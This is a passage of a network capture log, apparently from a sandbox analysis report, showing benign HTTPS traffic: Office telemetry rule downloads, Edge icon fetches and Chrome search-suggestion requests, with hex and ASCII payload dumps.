2024-10-30 14:59:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:34 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:35 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145934Z-16849878b787bfsh7zgp804my400000006w000000000s3h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:35 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:12 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:13 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145913Z-16849878b78x6gn56mgecg60qc0000000a0000000000dp8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:35 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:36 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:35 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 28027cef-b01e-003a-3dd5-282ba4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T145935Z-16849878b78sx229w7g7at4nkg00000006e000000000d5zs Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:36 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:12 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:12 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145912Z-16849878b78wv88bk51myq5vxc00000008h0000000005x4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:35 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:36 UTC	523	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:36 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: e9b0b68c-401e-006b-54dc-2a3551000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T145936Z-17c5cb586f6f8m6jnehy0z65x400000007e000000000cz87 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 14:59:36 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:12 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:13 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: b9cb9fa3-701e-005c-6994-2abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145913Z-16849878b78km6fmmkbenhx76n00000007eg00000000reb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:13 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O
2024-10-30 14:59:35 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:36 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:35 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 479a53aa-f01e-001f-392b-29b317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T145935Z-16849878b7828dsgct3vrzta7000000006pg0000000058cm Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:36 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:12 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:13 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145913Z-16849878b7867ttgfbpnfxt44s00000007yg00000000t255 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=
2024-10-30 14:59:35 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:35 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 548bc1da-901e-0067-71ad-29b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145935Z-17c5cb586f659tsm88uwcmn6s400000000t00000000018w8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49744	142.250.186.68	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:13 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 14:59:13 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:13 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-IxtfZ1Y-a2nnwEso3frIWw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 14:59:13 UTC	112	IN	Data Raw: 33 33 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 73 75 20 62 61 73 6b 65 74 62 61 6c 6c 20 66 65 72 72 69 73 20 73 74 61 74 65 22 2c 22 68 61 6c 73 65 79 20 61 6c 62 75 6d 20 72 65 76 69 65 77 20 67 72 65 61 74 20 69 6d 70 65 72 73 6f 6e 61 74 6f 72 22 2c 22 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 20 Data Ascii: 335)]}'["",["msu basketball ferris state","halsey album review great impersonator","disney dreamlight valley
2024-10-30 14:59:13 UTC	716	IN	Data Raw: 73 74 6f 72 79 62 6f 6f 6b 20 76 61 6c 65 22 2c 22 70 69 63 6b 6c 65 77 69 63 68 20 73 61 6e 64 77 69 63 68 20 6a 69 6d 6d 79 20 6a 6f 68 6e 73 22 2c 22 68 75 72 72 69 63 61 6e 65 73 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 73 22 2c 22 61 73 74 72 6f 6c 6f 67 79 20 68 6f 72 6f 73 63 6f 70 65 20 74 6f 64 61 79 22 2c 22 6e 66 6c 20 74 72 61 64 65 20 64 65 61 64 6c 69 6e 65 20 64 65 74 72 6f 69 74 20 6c 69 6f 6e 73 22 2c 22 63 6f 64 20 64 6f 75 62 6c 65 20 78 70 20 74 6f 6b 65 6e 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 Data Ascii: storybook vale","picklewich sandwich jimmy johns","hurricanes tropical storms","astrology horoscope today","nfl trade deadline detroit lions","cod double xp tokens"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:group
2024-10-30 14:59:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49749	142.250.186.68	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:13 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
